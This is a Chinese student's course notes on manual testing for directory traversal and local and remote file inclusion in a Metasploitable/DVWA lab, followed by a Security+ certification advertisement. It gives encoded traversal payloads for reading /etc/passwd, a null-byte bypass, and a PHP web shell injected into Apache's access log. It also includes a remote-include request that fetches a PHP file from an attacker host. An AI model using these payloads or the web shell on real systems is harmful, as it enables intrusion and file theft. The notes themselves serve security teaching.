【安全牛学习笔记】手动漏洞挖掘（三）

手动漏洞挖掘

Directory travarsal / File include(有区别/没区别)

目录权限限制不严 / 文件包含

/etc/php5/cgi/php.ini

allow_url_include = on

应用程序功能操作文件，限制不严时导致访问WEB目录以外的文件

读、写文件、远程执行代码

特征但不绝对

?page=a.php

?home=b.html

?file=content

msfadmin@metasploitbale:~$ ifconfig

msfadmin@metasploitbale:~$ sudo vi /etc/php5/cgi/php.ini

allow_url_include = ON

msfadmin@metasploitbale:~$ sudo /etc/init.d/apache2 restart

手动漏洞挖掘

经典测试方法

?file=../../../../etc/passwd

?page=file:///etc/passwd

?home=main.cgi

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

编码绕过字符过滤

"." "%00" #绕过文件扩展名过滤

file=a.doc%00.php

使用多种编码尝试

root@kali:~# pwd

root@kali:~# cd . //当前目录

root@kali:~# cd ../../ //根目录

root@kali:~# cd ../../../../ //跳到根目录

手动漏洞挖掘

不同操作系统的路径特征字符

类unix系统

根目录: /

目录层级分隔符: /

Windows系统

C:\

\ 或 /

手动漏洞挖掘

url编码、双层url编码

%2e%2e%2f 解码: ../

%2e%2e%5c 解码: ..\

%252e%252e%255c 解码: ..\

Unicode/UTF-8编码

..%c0%af 解码: ../

..%u2216

..%c1%9c 解码: ..\

手动漏洞挖掘

其他系统路径可能使用到的字符

file.txt....

file.txt<spaces>

file.txt""""

file.txt<<<>>><

./././file.txt

nonexistant/../file.txt

UNC路径

\\1.1.1.1\path\to\file.txt

root@kali:~# cd a

root@kali:~# cd a/../a.txt

手工漏洞挖掘

代码 <?php

$template = 'blue.php'

if ( is_set( $_COOKIE['TEMPLATE'] ) )

$template = $_COOKIE['TEMPLATE'];

include ( "/home/users/phpguru/templates/" . $template );

*** GET /vulnerable.php HTTP/1.0\

Cookie: TEMPLATE=../../../../../../../../../etc/passwd

结果 HTTP/1.0 200 OK

Content-Type: text/html

Server:Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh

daemon:*:1:1::/tmp:

phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

手动漏洞挖掘

本地文件包含lfi

查看文件

代码执行

<?php echo shell_exec($_GET['cmd']);?>

Apache access.log

远程文件包含rfi

出现概率少于lfi，但更容易被利用

msfadmin@metasploitbale:~$ cd /var/log/apache2/

msfadmin@metasploitbale:~/var/log/apache2$ cat access.log

root@kali:~# nc 192.168.1.118 80

<?php echo shell_exec($_GET['cmd']);?>

HTTP/1.1 400 Bad Request

Date: Mon, 18 jan 2016 12:19:29 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2

Content-Length: 323

Contetion: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML_ PUBLIC "-//IEIF//DTD HTML 2.0//EN">

<title>400 Bad Request</title>

</head><body>

<h1>Bad Request</hl>

<p>Your browser sent a request that this server could not understand.<br />

</p>

<hr>

<address>Apache/2.2.8 (Ubuntu) DAV/2 Server at metasploitable.localdomain Port 80</address>

</body></html>

msfadmin@metasploitbale:~/var/log/apache2$ ls -l access.log

msfadmin@metasploitbale:~/var/log/apache2$ cd ..

msfadmin@metasploitbale:~/var/log$ sudo chmod a+xr apache2/

msfadmin@metasploitbale:~/var/log$ ls -ld apache2/

msfadmin@metasploitbale:~/var/log$ cd ..

msfadmin@metasploitbale:~/var$ ls -ld log

msfadmin@metasploitbale:~/var$ cd ..

msfadmin@metasploitbale:~$ ls -ld var/

msfadmin@metasploitbale:~$ cd /var/log/apache2/

msfadmin@metasploitbale:~/var/log/apache2$ cat access.log

192.168.1.168/dvwa/vulnerablities/fi/?page=http://192.168.1.119/a.php

root@kali:~# nc -nclp 80

listening on [any] 80 ...

connect to [192.168.1.119 from (UNKNOWN) [192.168.1.118] 52612

GET /a.php HTTP/1.0

Host: 192.168.1.119

--------------------------------------------------------------------

<?php

$file = $_GET['page']; //The page we wish to display

----------------------------------------------------------------------

?php

$file = $_GET['page']; //The page we wish to display

// Only allow include.php

if ( $file != "include.php" ) {

echo "ERROR: File not found!";

exit;

}

该笔记为安全牛课堂学员笔记，想看此课程或者信息安全类干货可以移步到安全牛课堂

Security+认证为什么是互联网+时代最火爆的认证？

牛妹先给大家介绍一下Security+

Security+ 认证是一种中立第三方认证，其发证机构为美国计算机行业协会CompTIA ；是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一，和CISSP偏重信息安全管理相比，Security+ 认证更偏重信息安全技术和操作。

通过该认证证明了您具备网络安全，合规性和操作安全，威胁和漏洞，应用程序、数据和主机安全，访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易，含金量较高，目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因？

原因一：在所有信息安全认证当中，偏重信息安全技术的认证是空白的， Security+认证正好可以弥补信息安全技术领域的空白。

目前行业内受认可的信息安全认证主要有CISP和CISSP，但是无论CISP还是CISSP都是偏重信息安全管理的，技术知识讲的宽泛且浅显，考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上，CISP也要求大专学历4年以上工作经验，这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中，无论是找工作还是升职加薪，或是投标时候报人员，认证都是必不可少的，这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍，由于Security+偏重信息安全技术，所以对工作经验没有特别的要求。只要你有IT相关背景，追求进步就可以学习和考试。

原因二： IT运维人员工作与翻身的利器。

在银行、证券、保险、信息通讯等行业，IT运维人员非常多，IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍，死亦写代码”的悲壮，但也有着“锄禾日当午，不如运维苦“的感慨。天天对着电脑和机器，时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识，掌握网络安全实践。职业发展朝着网络安全的方向发展，解决国内信息安全人才的匮乏问题。另外，即使不转型，要做好运维工作，学习安全知识取得安全认证也是必不可少的。

原因三：接地气、国际范儿、考试方便、费用适中！

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

在目前的信息安全大潮之下，人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的，相信Security+认证一定会成为最火爆的信息安全认证。

转载于:https://blog.51cto.com/11672938/2047032

【安全牛学习笔记】手动漏洞挖掘（三）相关推荐

【安全牛学习笔记】漏洞扫描
一.安装在官网下载home版nussus,然后直接dpkg -i 启动服务 /etc/init.d/nessusd start 前面不用加service 查看服务 nessus status 启动后 ...
【安全牛学习笔记】手动漏洞挖掘（二）
手动漏洞挖掘身份认证常用弱口令/基于字典的密码破爆破锁定账号信息收集手机号密码错误提示信息密码嗅探手动漏洞挖掘会话sessionID Xss / cookie importer Se ...
x%3e=y%3e=z的c语言表达式,我的C语学习笔记-C语言教程(三).doc
我的C语学习笔记- C语言教程(三) C语言教程---第一章: C语言概论 C语言教程---第二章: 数据类型.运算符.表达式 C语言教程---第三章: C语言程序设计初步 C语言教程---第四章: ...
20W字纯手打Java并发学习笔记,助力你金三银四，决战春招，必进大厂
假如阿里给了你这个机会,你却卡在三面,你会不会懊恼? 假如阿里真的让你通过,只需要你把这一块技能的底层原理摸透,你学不学? 我有一个朋友,他小厂背景.15年毕业.普通学校,这看起来确实没什么战斗力,但 ...
电路学习笔记01——一到三章
电路学习笔记和总结第一章电路模型和电路定律重难点一参考方向 1 关联方向时 P = UI 结果大于零,则算得的是吸收功率结果小于零,则算得的是发出功率 2 非关联方向时直接当作是关联方向计 ...
Qt5学习笔记之串口助手三：打包成Windows软件
这里写目录标题添加图标打包程序测试打包好的软件添加图标图标的获取可以参考我的另一篇文章:Qt5学习笔记之图标下载和转换,这里只记录下Qt中使用图标的方法. 1.切换到release模式下进行 ...
【安全牛学习笔记】反射型XSS***漏洞的原理及解决办法
发射型XSS 漏洞的原理及修复方法 1.常见的触发场景 2.漏洞原理 3.漏洞危害 4.一些tips 5.如何避免&修复漏洞直接将用户数据输出到浏览器,没有做安全处理搜索: www-dat ...
【安全牛学习笔记】主动信息收集-发现（三）
╋━━━━━━━━━━━━━╋ ┃发现-----三层发现 ┃ ┃优点 ┃ ┃ 可路由 ┃ ┃ 速度比 ...
【安全牛学习笔记】CSRF跨站请求伪造攻击漏洞的原理及解决办法
CSRF跨站请求伪造攻击漏洞的原理及解决办法 CSRF,夸张请求伪造漏洞漏洞的原理及修复方法 1.常见的触发场景 2.漏洞原理:浏览器同源策略 3.DEMO 4.漏洞危害 5.如何避免&修复 ...

【安全牛学习笔记】手动漏洞挖掘（三）

【安全牛学习笔记】手动漏洞挖掘（三）相关推荐

最新文章

热门文章